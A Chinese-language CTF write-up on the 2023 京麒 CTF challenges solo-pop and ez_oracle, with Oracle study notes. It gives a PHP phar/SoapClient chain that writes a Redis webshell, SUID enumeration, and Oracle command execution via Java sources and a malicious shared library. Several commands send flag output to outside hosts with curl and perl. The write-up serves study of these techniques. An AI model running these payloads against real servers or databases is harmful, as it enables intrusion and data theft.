写在前面

👴以为只能复现 webshell, 但没相到,ez_oracle 有师傅写了 wp,pop-chain 大头👴不仅写了 wp, 还做了复现环境.

以下是参考文献捏:

2023 京麒 CTF solo-pop (yuque.com)

2023 京麒 CTF ez_oracle Writeup - X1r0z Blog (exp10it.cn)

南邮的 N1✌

Oracle 注入 RCE 由浅入深 - Boogiepop Doesn’t Laugh (boogipop.com)

大 B 哥!

solo-pop

比赛时,⛰️📦靠着一个非预期拿下了一血,我就来看看预期咋干的.

1
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:jqctf2023-solo-pop

我阐释你的梦,本地跑不了,报个什么 EOF 错误,放在 VPS 上 nmd 瞬间跑起来了😅😅

robots.txt

1702599947178

image-20231215082635862

可以将.wupco 后缀文件当成 php 文件解析

看一下 redis 配置

1702600198390

给了 redis 密码,那么这道题应该会去打一个 redis

源码鉴赏

定义了一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class test_upload
{
public $check;
public $filename;

public function __construct($filename)
{
$this->check = new check();
$this->filename = $filename;
}

public function __destruct()
{
if (!$this->check->checkname($this->filename)) {
die('error');
}
}
}

可以调用一个类的 checkname , 这里直接就可以触发 SoapClient__call 方法打 redis.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if (!empty($_FILES['file']['tmp_name'])) {
$tmpname = $_FILES['file']['tmp_name'];
$filename = $_FILES['file']['name'];
if (is_uploaded_file($tmpname)) {
if (move_uploaded_file($tmpname, "/var/www/html/check.jpg")) {
echo "upload ok";
}
}
}
if (is_file('check.jpg')) {
if (preg_match("/ph|\\\x|<\?/i", file_get_contents('check.jpg'))) {
unlink('check.jpg');
die('error1');
}
if (!getimagesize('check.jpg')) {
unlink('check.jpg');
die('error2');
}
}

这里会保存上传的文件为 check.jpg , 然后检测里面的内容,不能有 ph \x <?

1
2
3
if (file_exists($_GET['img_file'])) {
echo "success";
}

这里会检查是否存在,这里就可以通过 phar 协议触发反序列化

phar 文件生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

$target = 'http://127.0.0.1:6379/';


$uri =<<<EOT
hello
Auth 574c941c5987232d337276764d3413c4
Config set dir /var/www/html/
SET x '<?=eval(\$_POST[1]);?>'
CONFIG SET dbfilename shell.php
SAVE
</Files>
EOT;

$a = array('location' => $target,'uri' => $uri);
$b = new SoapClient(null, $a);

class test_upload{
public $check;
public $filename;

public function __construct($check, $filename)
{
$this->filename = $filename;
$this->check = $check;
}
}

$exp = new test_upload($b, 'exp.jpg');
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a' . '__HALT_COMPILER();'); // add GIF Header
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算
$phar->stopBuffering();
rename("exp.phar", "exp.jpg");

不过会对文件内容有过滤,因此还需要修改一些数据用以绕过

修改数据

1702603230448

将?改成 \3f ,php 中的 h 改成 \ 68

1702603440818

签名修复

1
2
3
4
5
6
7
8
9
10
from hashlib import sha1
f = open('./exp.jpg', 'rb').read()
s = f[:-28]
print(s)
h = f[-8:]
print(h)
newf = s+sha1(s).digest()+h
open('1llustrious.jpg', 'wb').write(newf)

print(str(sha1(s).digest()))

文件上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests

url = "http://43.143.192.19:12345/index.php"

files = {"file":open("1llustrious.jpg","rb")}





headers = {"User-Agent":"aaaa","Conneection":"close"}
# print(res.text)
# print(res2.text)
proxies = {"http":"http://127.0.0.1:8085","https":"http://126.0.0.1:8085"}
print(requests.get(url=url,verify=False,headers=headers,proxies=proxies).text)
# res = requests.post(url=url,files=files,proxies=proxies)
res2 = requests.get(url=url + "?img_file=phar:///var/www/html/check.jpg/test.txt",proxies=proxies)

提权

image-20231215102604310

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

image-20231215102758715

1
2
curl file:///flag
curl http://ip:port -T /flag

what is oracle?

学习一波 Oracle 数据库,

Oracle Database 11g Release 2 for Microsoft Windows (x64)

整俩 zip, 两个 g 啊,心疼我的流量.

image-20231221082848748

1
orcl.168.45.216

rnm 密码忘了,重装了 114514 遍,最后 SYSTEM Admin123.

desc

在 Oracle 数据库中, DESCDESCRIBE 的缩写,用于查看表或视图的结构(列信息)。 DESC 命令通常用于在 SQL*Plus 或其他 SQL 界面中查看表的元数据信息。

常见表: user_tables , dba_tables , all_tables , ALL_TAB_COLUMNS , ALL_USERS

1
2
SYSTEM
Admin123

信息

版本

1
2
SELECT * FROM v$version;

image-20231221142109616

数据库名称

1
2
SELECT * FROM global_name;

image-20231221142159394

获取表

1
2
SELECT table_name
FROM all_tables

获取用户

1
2
3
SELECT username
FROM dba_users;

获取哈希

1
SELECT name, password, astatus FROM sys.user$;

增删改查

和 mysql 之类的差不多

其它特性

使用 concat 或 || 拼接字符串, '' 表示字符串, "" 表示变量

java source

在 Oracle 数据库中,可以使用 Java 来创建和执行存储过程,这些存储过程的实现是使用 Java 编写的。这被称为 “Java Stored Procedures”。

1
2
3
4
5
6
7
8
CREATE OR REPLACE JAVA SOURCE NAMED "SampleJavaSource" AS
public class SampleJavaClass {
public static void sampleMethod() {
System.out.println("Hello from SampleJavaClass!");
}
};
/

1703142737647

1
select OBJECT_ID from all_objects where object_name ='SampleJavaSource';

1703142953811

有时为了防止重复导致的一些问题,有优化的写法

1
2
3
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED SampleJavaSource as 
// code
/
1
DROP JAVA SOURCE "SampleJavaSource"

procedured

1
2
3
4
5
CREATE OR REPLACE PROCEDURE CallSampleMethod AS
LANGUAGE JAVA
NAME 'SampleJavaClass.sampleMethod()';
/

创建 function 调用一个过程

1
2
3
4
5
6
7
8
9
10
11
12
13
CREATE OR REPLACE FUNCTION CallSampleFunction RETURN VARCHAR2 AS
result VARCHAR2(100);
BEGIN
-- Call the Java stored procedure
CallSampleMethod;

-- Optionally, you can also call the Java method directly
-- result := SampleJavaClass.sampleMethod();

RETURN 'Function called successfully.';
END CallSampleFunction;
/

1
2
SELECT CallSampleFunction FROM dual;

1703145157544

外部 lib

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
#include <exp.h>

char* cmd(char* command){
system(cmd);
return "1";
}
1
2
3
4
5
#ifndef exp_h_
#define exp_h_

extern char* cmd(char* command)
#endif

编译成 so

1
create or replace lib as '/path/to/so';
1
create or replace function cmd(str varchar2) return varchar2 as language c library lib name "cmd";

随后使用 select 调用.

dbms_xmlquery

Oracle 数据库提权 - micr067 - 博客园 (cnblogs.com)

使用 XMLType 创建 XML 对象:

在使用 DBMS_XMLQUERY 之前,通常需要将 XML 文档存储为 XMLType 对象。可以使用 XMLType 构造函数或 XMLType.createXML 方法。

1
2
3
4
5
6
7
8
9
DECLARE
xml_document XMLType := XMLType('<root><element>Value</element></root>');
result XMLType;
BEGIN
result := DBMS_XMLQUERY.PARSE(xml_document, '/root/element/text()');
DBMS_OUTPUT.PUT_LINE('Result: ' || result.getStringVal());
END;
/

执行 XPath 查询:

使用 DBMS_XMLQUERY 包中的 PARSE 函数执行 XPath 查询。

1
2
3
4
5
6
7
8
9
DECLARE
xml_document XMLType := XMLType('<root><element>Value</element></root>');
result XMLType;
BEGIN
result := DBMS_XMLQUERY.PARSE(xml_document, '/root/element/text()');
DBMS_OUTPUT.PUT_LINE('Result: ' || result.getStringVal());
END;
/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "LinxUtil" AS
import java.io.*;
public class LinxUtil extends Object {
public static String runCMD(String args) {
try {
BufferedReader myReader = new BufferedReader(new InputStreamReader(
Runtime.getRuntime().exec(args).getInputStream()));
String stemp, str = "";
while ((stemp = myReader.readLine()) != null)
str += stemp + "\n";
myReader.close();
return str;
} catch (Exception e) {
return e.toString();
}
}
}';
COMMIT;
END;
/

首先 Declare 启动匿名 PL/SQL 的生命, PRAGMA AUTONOMOUS_TRANSACTION; 声明自治事务。自治事务允许独立于主事务提交更改。当您想要执行某些即使主事务回滚也应提交的操作时,通常使用此方法。

然后执行一段语句.

COMMIT 语句用于提交在自治事务中所做的更改。这确保了在数据库中永久创建和编译 Java 源代码。

先创建了一个类和方法

1
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

1703207275702

1
2
3
4
5
6
7
declare 
PRAGMA AUTONOMOUS_TRANSACTION;
begin
execute immediate 'create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''LinxUtil.runCMD(java.lang.String) return String'';';
commit;
end;

两个单括号相当于对一个单括号的转义

1
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

那么两个单括号里面使用四个括号就是二重转义了().

1703207737261

查询对象是否存在

1
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD';
1
select linxruncmd('whoami') from dual;

1703207976922

成了.

大 G 老师如是说: DUAL 是 Oracle 数据库中的一个特殊表,它通常包含一行一列的数据。 DUAL 表是一个虚拟表,不存储任何实际数据,但是它在 Oracle SQL 查询和 PL/SQL 中经常被用作一种手段。

不管咋说,查啥,都要指定这个表,算是 Oracle 的一个特性吧.

用户管理

一般管理

创建用户

1
CREATE USER username IDENTIFIED BY password;

image-20231222094134588

授予角色

1
2
SELECT * FROM DBA_ROLES;#查看拥有的撅色

image-20231222100454951

1
2
GRANT role_name TO "1llstrious";
GRANT CWM_USER TO illustrious;

1703209406453

1
SELECT * FROM DBA_TAB_PRIVS where GRANTEE = 'SYS';

1703210837822

改密码

1
2
ALTER USER username IDENTIFIED BY new_password;

1703211009810

1
2
3
ALTER USER illustrious ACCOUNT LOCK;
ALTER USER illustrious ACCOUNT UNLOCK;

锁定和解锁用户

dbms_java.grant_permission 赋权

在 Oracle 数据库中, DBMS_JAVA.GRANT_PERMISSION 是一个过程,用于为 Java 类或资源授予权限。这个过程通常用于在 Oracle 数据库中执行 Java 类的操作时管理 Java 安全性。

1
2
3
4
5
6
7
8
DBMS_JAVA.GRANT_PERMISSION(
grantee IN VARCHAR2,
permission_type IN VARCHAR2,
permission_name IN VARCHAR2,
permission_path IN VARCHAR2,
permission_action IN VARCHAR2
);

  • grantee : 授予权限的用户或角色的名称。
  • permission_type : 权限的类型,通常是 'java.io.FilePermission''java.lang.RuntimePermission'
  • permission_name : 权限的名称,通常是文件路径(对于文件权限)或操作(对于运行时权限)。
  • permission_path : 文件路径,仅在 permission_type'java.io.FilePermission' 时使用。
  • permission_action : 操作,仅在 permission_type'java.lang.RuntimePermission' 时使用。
1
2
3
4
begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,execute,delete');
end;
/

1703211934218

赋予文件访问权限.

1
2
3
BEGIN
DBMS_JAVA.GRANT_PERMISSION('SYSTEM', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
END;
1
2
3
begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.lang.Runt'||'imePermission', 'readFileDesc'||'riptor', '');
end;

能够读写

其它的一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

一些其它的辅助语句

1
2
SHOW ERRORS FUNCTION your_function_name;

排查创建函数时的错误

1
2
3
SELECT OBJECT_NAME, OBJECT_TYPE
FROM ALL_OBJECTS
WHERE OBJECT_TYPE = 'FUNCTION' AND OWNER = 'system';

快速连接

1
sqlplus username/password@ip:port/service_name

ez_oracle

这回事一个 orcle 数据库,全新的东西,借此机会学一下.

源码鉴赏一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import logging

import oracledb
from flask import Flask, request
import socket

app = Flask(__name__)
username = "system"
password = "PaAasSSsSwoRrRDd"
ol_server = "127.0.0.1"
ol_port = 1521
sid = "orcl"
dsn = "{}:{}/{}".format(ol_server, ol_port, sid)
logging.basicConfig(level=logging.INFO, filename='/var/log/web.log', format='%(asctime)s %(message)s')


def check(sql):
blacklist = ["select", "insert", "delete", "update", "table", "user", "drop", "alert", "procedure", "exec",
"open", ":=", "declare", "runtime", "process", "invoke", "newinstance", "parse",
".class", "loader", "script", "url", "xml", "method", "field", "reflect", "defineclass",
"getclass", "forname", "constructor", "transform", "sql", "beans", ".net", "http", ".rmi", "naming"
]
sql = sql.lower()
for blackword in blacklist:
if blackword in sql:
return True


def log(ip, sql, error=None):
error_text = "-----------------------{}-----------------------\n".format(ip)
error_text += "sql: {} \n".format(sql)
if error != None:
error_text += "error: {} \n".format(error)
error_text += "-------------------------------------------------"
logging.error(error_text)


@app.route("/query", methods=["POST"])
def query():
sql = request.form["sql"]
ip = request.remote_addr
if check(sql):
return "waf"
else:
try:
conn = oracledb.connect(user=username, password=password, dsn=dsn)
conn.callTimeout = 5000
cursor = conn.cursor()
cursor.execute(sql)
cursor.close()
conn.close()
log(ip, sql)
except Exception as e:
log(ip, sql, e)
return "error"
return "query success"


if __name__ == "__main__":
app.run(host="0.0.0.0", port=8888)

这里可以执行任意 sql 语句,但是 ban 了一堆东西.

不能反射获取类,方法,也不能通过 := 执行一些命令.

External Precedure

“External Procedure” 通常是指一种数据库编程的概念,特别是在 Oracle 数据库中。在 Oracle 中,External Procedure 是指一种以外部编程语言(通常是 C 语言或类似的编程语言)编写的、由数据库调用的过程。

说人话,加载一个外部编译的 C 程序,执行方法.

以下是编写利用的过程:

首先创造一个 C 文件:exp.c

1
2
3
4
5
6
7
8
#include <stdio.h>
#include <stdlib.h>
#include <exp.h>

char* cmd(char* command){
system(cmd);
return "1";
}

写一个 exp.h

1
2
3
4
5
#ifndef exp_h_
#define exp_h_

extern char* cmd(char* command);
#endif
1
gcc exp.c -shared -fPIC -I ./ -o exp.so

加载到数据库中

1
2
CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED SampleJavaProcedure AS

创建存储过程

1
2
3
4
CREATE OR REPLACE PROCEDURE RunJavaProcedure AS
LANGUAGE JAVA
NAME 'SampleJavaProcedure.sampleProcedure()';

运行

1
2
3
4
BEGIN
RunJavaProcedure;
END;

利用过程

1
2
3
4
5
6
7
8
9
10
11
begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.io.FilePermission', '<<ALL FILES>>', 'read,write,e'||'xecute,del'||'ete');
end;

begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.lang.Runt'||'imePermission', 'writeFileDescr'||'iptor', '');
end;

begin
dbms_java.grant_permission('SYSTEM', 'SYS:java.lang.Runt'||'imePermission', 'readFileDesc'||'riptor', '');
end;

首先赋权,获取读写和访问的权限

准备好之前写的 so 文件,需要压缩一下,因为原始数据有一两万,压缩一下只有一两千,数据量太大的话执行会报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.zip.GZIPOutputStream;

public class gzip_write {
public static void main(String[] args) throws IOException {
byte[] dataToCompress = Files.readAllBytes(Paths.get("D:\\java\\bypassjava\\exp.so"));

try {
// 创建一个字节数组输出流,用于保存压缩后的数据
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

// 创建 GZIP 压缩输出流,并将其连接到字节数组输出流
try (GZIPOutputStream gzipOutputStream = new GZIPOutputStream(byteArrayOutputStream)) {
// 将数据写入 GZIP 压缩输出流
gzipOutputStream.write(dataToCompress);
}

// 获取压缩后的数据
byte[] compressedData = byteArrayOutputStream.toByteArray();

// 打印原始数据和压缩后的数据长度
String code_s = "";
for(int i=0;i<compressedData.length;i++){
code_s = code_s + compressedData[i]+",";

}
code_s = "{"+code_s+"}";
System.out.println(code_s);

// 实际应用中,你可以将压缩后的数据发送到网络、保存到文件等
} catch (IOException e) {
e.printStackTrace();
}
}
}


获取压缩的数据

1703246901030

1
{31,-117,8,0,0,0,0,0,0,0,-19,91,95,108,20,69,24,-97,-67,-74,112,7,-91,61,16,4,-95,-62,97,-64,-128,-46,-91,-128,69,20,10,109,-81,-41,46,-92,45,88,-37,7,18,116,-39,-34,110,-37,35,-9,-89,-71,-37,66,-117,-88,21,-94,-46,16,18,18,99,98,-28,5,19,99,-28,-119,68,94,52,-47,88,-62,95,69,19,76,-116,105,76,76,-102,40,73,73,20,33,70,83,121,-24,58,-77,-5,125,-41,-35,97,23,-16,65,19,-29,-4,-110,-35,-33,126,-33,-52,111,102,118,118,-82,-77,-41,-5,-66,87,19,-83,-51,33,73,34,-120,18,-78,-107,76,91,-124,-44,3,-121,107,-35,-66,77,36,66,-49,85,100,-119,93,-73,-108,4,-29,-99,82,47,-109,-88,67,76,87,-26,-78,121,-82,-107,-68,-20,-42,-39,77,-59,-64,-49,-15,-5,-60,-53,110,-35,12,122,76,86,59,-10,100,-99,-105,23,-123,-96,-103,-112,87,23,2,93,88,118,-20,-16,86,47,-113,74,94,14,-125,-68,20,-114,77,-48,30,-49,43,-120,-105,113,122,118,93,55,117,91,11,-9,-61,115,-112,-18,57,-86,-101,65,30,28,56,-35,29,-48,95,-48,-68,-124,67,94,-58,-57,-63,52,-13,9,91,47,-124,-76,-76,119,-111,-9,82,23,18,-105,-109,103,123,83,71,-49,-68,116,-13,-21,-49,126,-39,-8,-35,-43,29,-84,30,-50,31,-50,63,-72,-20,-42,-104,61,-44,115,116,-10,-3,-58,25,-13,-15,-17,-90,-57,60,31,-65,20,80,127,77,-128,-65,-103,30,-113,-7,-8,-69,-20,-10,-53,73,100,-82,99,47,-57,2,85,-19,-51,-28,-78,106,-63,-44,-14,-90,-86,18,117,123,103,-101,-86,27,121,-93,55,85,48,-115,124,103,91,60,-99,-53,26,-99,90,119,-38,112,-54,-4,75,-44,-28,-96,-90,-10,-92,-78,90,58,117,-48,32,-55,-116,78,10,67,-76,86,-122,-92,83,-35,73,-71,-112,-109,55,-110,-106,-42,-19,-115,113,117,-67,-68,94,-82,-75,-17,43,68,15,-25,-20,-36,-89,68,-10,-110,-23,-25,56,-80,56,21,97,-45,-70,15,-20,-30,-13,-61,113,-61,125,-112,-83,94,-1,40,52,16,-82,-9,-6,-47,-66,-78,-51,97,124,-122,-120,107,46,127,-119,-53,63,-26,-14,-69,-1,46,-116,-69,-4,101,-18,-119,-122,126,102,18,88,20,2,2,2,2,2,2,2,2,2,2,2,-1,24,-108,35,63,-121,-107,99,101,23,-41,-46,-53,-41,71,-51,-112,117,77,57,114,33,124,-66,88,110,-43,126,73,-117,-84,-107,95,-47,115,-27,-78,122,122,-59,-20,62,86,116,99,-36,-94,88,-7,46,-75,123,78,20,-37,59,94,-9,9,107,-21,120,-39,71,-116,-98,-103,52,23,-48,-26,95,-124,-26,35,-42,120,-27,-78,97,86,-17,60,48,-83,63,98,-41,-81,61,-52,104,-11,-108,50,114,75,57,119,115,-101,114,110,-78,68,-111,46,41,-33,76,-103,-13,105,3,-43,-48,64,-40,26,-17,-87,92,-42,52,-83,-1,-83,114,-23,-99,-31,-70,4,45,38,3,79,118,41,71,-22,102,-79,75,101,-28,-70,89,-82,28,-85,123,-100,26,19,-69,-23,40,39,116,122,-70,84,-10,40,-75,-91,23,-88,-42,-93,-65,113,-128,22,118,81,13,-99,-116,-88,50,-14,-14,-92,114,44,49,-87,-116,92,-98,-88,-92,126,122,39,99,21,-124,124,113,30,-26,-54,51,59,2,2,2,2,2,2,2,2,2,2,2,2,2,2,-1,13,-84,-93,-121,-76,-92,100,115,-116,56,-65,-29,85,-35,-78,-84,45,-108,-73,80,-42,41,-105,-35,-74,-84,67,-60,-7,-83,-105,65,58,-40,65,-92,-63,-88,-76,-92,124,102,-8,-124,-28,-4,14,93,69,-113,-79,95,45,-117,-75,65,42,-94,-51,21,-117,118,84,-50,62,16,30,38,-37,22,111,126,98,-61,10,-5,-25,85,-90,-89,95,-37,-55,53,90,47,-20,-22,-97,105,-9,-48,-29,53,-38,-97,-3,27,107,67,69,-12,-115,80,124,-50,-116,61,-76,-125,127,-6,-26,5,4,4,4,4,4,4,4,4,4,4,4,-2,15,-128,120,-48,81,87,124,52,-61,94,-32,114,-84,7,-27,115,-64,92,3,-70,71,-64,-58,56,-45,37,96,-29,119,-74,-59,-88,-121,120,-45,42,-82,-4,-9,41,43,103,-9,7,65,-97,24,19,90,3,-63,-92,24,-53,124,20,-54,103,-127,-67,31,24,-125,-122,23,1,99,12,-22,4,-60,-103,-122,-72,114,-4,-2,58,19,120,33,-16,112,-87,-41,63,86,-30,29,-25,-121,-64,17,-82,-67,41,-53,25,-1,-57,80,-33,2,27,-25,-15,22,-40,31,64,-7,-97,96,-69,99,101,-1,77,96,-68,58,-113,-115,92,-4,111,75,60,-2,108,108,85,-109,-47,-99,-46,-78,-79,117,-21,-28,13,114,77,117,-19,106,-72,-70,71,-5,78,92,-2,109,-117,-9,-77,117,20,-94,-25,93,81,-81,-65,2,-4,-61,-100,127,57,-8,71,57,-1,-45,118,31,11,73,-76,126,-70,63,-122,-72,125,61,-81,-72,-50,16,-5,-96,-99,98,-36,51,96,-65,93,127,110,113,-35,34,-34,14,24,127,-48,125,-99,-76,-53,-94,-28,84,-116,47,-15,-81,127,-38,30,-49,-100,-30,-25,7,113,-58,110,-25,-31,-30,-4,35,62,-75,-3,15,-35,-11,-36,46,-38,-25,-54,98,62,0,98,12,-38,-63,-7,65,-4,100,-5,23,20,63,23,-120,59,-10,120,34,-45,1,-28,8,-55,63,78,-66,74,-14,-113,-73,95,43,-7,-57,-55,111,8,104,-89,49,-64,-65,71,-14,-113,-61,39,-55,-68,89,48,7,122,122,-28,36,-103,14,-77,87,-51,-116,-102,100,-31,-12,5,-94,-86,122,78,-19,77,-25,-70,-75,-76,-86,-101,-71,124,65,-43,6,6,73,50,-105,-23,79,27,-90,-95,-45,69,-21,91,-125,5,-33,-89,84,45,-97,-41,-122,84,35,107,-26,-121,72,79,94,-53,24,-86,62,-112,-55,12,81,-119,-53,82,105,77,-45,83,-43,24,-20,-89,-61,81,-43,-26,-114,-122,-74,-124,-102,104,111,98,-119,0,-84,65,-42,87,33,-89,-10,105,89,-99,69,-7,55,-19,110,111,104,-37,30,-89,-34,-106,-10,46,53,-95,-128,64,105,-22,-96,-82,-50,-74,56,74,91,90,119,54,54,-76,-86,59,-101,-101,-97,79,116,-86,-99,13,-115,-83,9,-22,101,-35,-34,51,-65,-64,73,25,-88,119,39,10,-80,76,2,-65,12,-123,7,-56,66,-16,-76,67,-28,-62,80,-58,-44,-70,41,-101,121,-121,-5,-16,42,-101,51,13,-71,55,59,32,119,15,-92,-46,122,117,74,39,-74,-43,-89,21,-6,-120,-84,15,101,-87,-46,97,51,-17,-108,-20,55,-14,-123,84,46,-21,49,84,90,-106,55,-46,26,-85,8,87,-3,105,-109,-56,-10,77,-77,75,-71,55,71,47,76,99,-112,-98,-19,-87,-107,-13,57,93,51,53,34,27,125,-16,116,-6,-12,-4,-76,-27,72,-99,-57,-28,40,-16,-102,-10,-96,101,82,73,-62,90,116,58,113,-38,-23,46,20,-120,76,23,74,-122,62,84,-65,-107,-9,-73,-64,-10,63,119,14,67,80,-66,15,-126,-49,-103,98,-23,69,127,-48,61,2,-11,-72,47,-18,-27,-12,-72,127,-16,-1,27,-35,68,-100,61,17,-11,-72,111,34,-29,62,-58,-6,-107,92,122,-36,-49,-22,-95,109,-44,-29,62,-116,-116,-5,46,66,-30,108,-123,56,123,32,-22,113,-33,67,-82,-32,-58,31,-30,-104,-27,-37,76,-71,-12,-72,-81,34,-57,2,-58,-113,-48,-95,12,-11,-72,-113,35,-29,-3,-13,-13,-121,-9,-97,5,125,35,-40,-8,94,-128,-20,126,-49,88,-32,-93,31,36,-98,28,-89,-69,-14,-39,-16,125,3,-63,63,-1,2,-89,-113,69,57,-26,-22,-13,105,115,-81,112,-6,-6,-88,-105,-7,-7,10,115,-4,38,-89,-57,-3,26,-7,-5,-128,-2,17,-57,57,61,-18,115,-56,17,-82,62,127,-1,111,-127,-66,-104,3,20,-13,50,-97,27,-60,-81,-65,-109,-100,62,40,111,46,-88,-1,-45,-100,126,85,-52,-53,-121,-72,-6,-4,124,-98,37,-50,26,-57,-11,85,-52,-93,-85,-10,-81,-49,-49,-1,-25,-124,-19,-22,-82,-9,67,-36,-9,101,111,-67,32,-3,85,-30,-51,-59,42,-26,41,-126,30,-13,19,75,57,29,62,-57,-61,-60,-71,127,-44,99,-34,-41,-107,-75,14,-57,-18,-45,-1,-73,-100,30,-33,55,38,30,80,-1,3,-89,47,-26,-93,-43,120,-21,-15,122,-60,-113,-32,67,61,-66,7,69,3,-12,-4,-6,-103,0,31,-1,-114,-117,-6,-91,1,122,55,-5,-27,-81,-43,-128,-66,31,10,-39,-9,-94,-7,-28,-18,-65,31,17,-30,-1,-35,-32,-44,122,-121,15,112,3,-26,-57,63,55,64,-65,-16,41,-121,111,115,126,94,-1,23,-65,51,112,-83,8,60,0,0}

然后写一个 java source 解压并输出恶意 so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
create or replace and compile java source named "WriteFile" as
import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
import java.util.zip.GZIPInputStream;

public class WriteFile {
public static String write(String path) throws Exception {
byte[] data = new byte[]{your_code};
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(data));
FileOutputStream fileOutputStream = new FileOutputStream(path);

byte[] buffer = new byte[1024];
int len;
while ((len = gzipInputStream.read(buffer)) > 0) {
fileOutputStream.write(buffer, 0, len);
}

gzipInputStream.close();
fileOutputStream.close();

return "write ok";
}
}

这里 code 太长,可能有点卡,放上面了.

创建一个函数调用该 javasource

1
create or replace function write_so(path varchar2) return varchar2 as language java name 'WriteFile.write(java.lang.String) return java.lang.String';
1
2
3
4
5
6
BEGIN
if (write_so('/u01/app/oracle/product/12.1.0.2/dbhome_1/lib/exp.so') = 'ok')
then dbms_output.put_line('Valid');
else dbms_output.put_line('Invalid');
end if;
end;

写入 so 文件。

1
create or replace library libexp as '/u01/app/oracle/product/12.1.0.2/dbhome_1/lib/exp.so';

加载成 lib

1
create or replace function cmd(str varchar2) return varchar2 as language c library libexp name "cmd";

通过 lib 创建 cmd 函数

1
2
3
4
5
6
BEGIN
if (cmd('/bin/cu'||'rl ht'||'tp://192.168.111.128:1145/?a=`/readflag`') = 'ok')
then dbms_output.put_line('Valid');
else dbms_output.put_line('Invalid');
end if;
end;

BMS_OUTPUT.PUT_LINE 是一个过程,用于向用户会话的输出缓冲区中写入一行文本。在 SQL*Plus 或 SQLcl 等工具中执行这个匿名块,可以通过设置 SET SERVEROUTPUT ON 来查看输出.

👴tmd 真是个 sb, 一开始 so 文件出大问题,写错了日.cmd 函数当 nmd 参数传给 system,👴tm 有病.

image-20231222205819700

据 X1 说,题目限制了命令,只能执行 oracle 的 bin 下的命令,正好学一下其它的姿势.

1
2
3
4
5
6
BEGIN
if (cmd('/u01/app/oracle-product/12.1.0.2/dbhome_1/perl/bin/perl -MLWP::Us'||'erAgent -e "\$ua = LWP::Us'||'erAgent->new; \$response = \$ua->get(''h'||'ttp://192.168.111.128:1145/?a=`/readflag`'');"') = 'ok')
then dbms_output.put_line('Valid');
else dbms_output.put_line('Invalid');
end if;
end;

image-20231222210527474

1
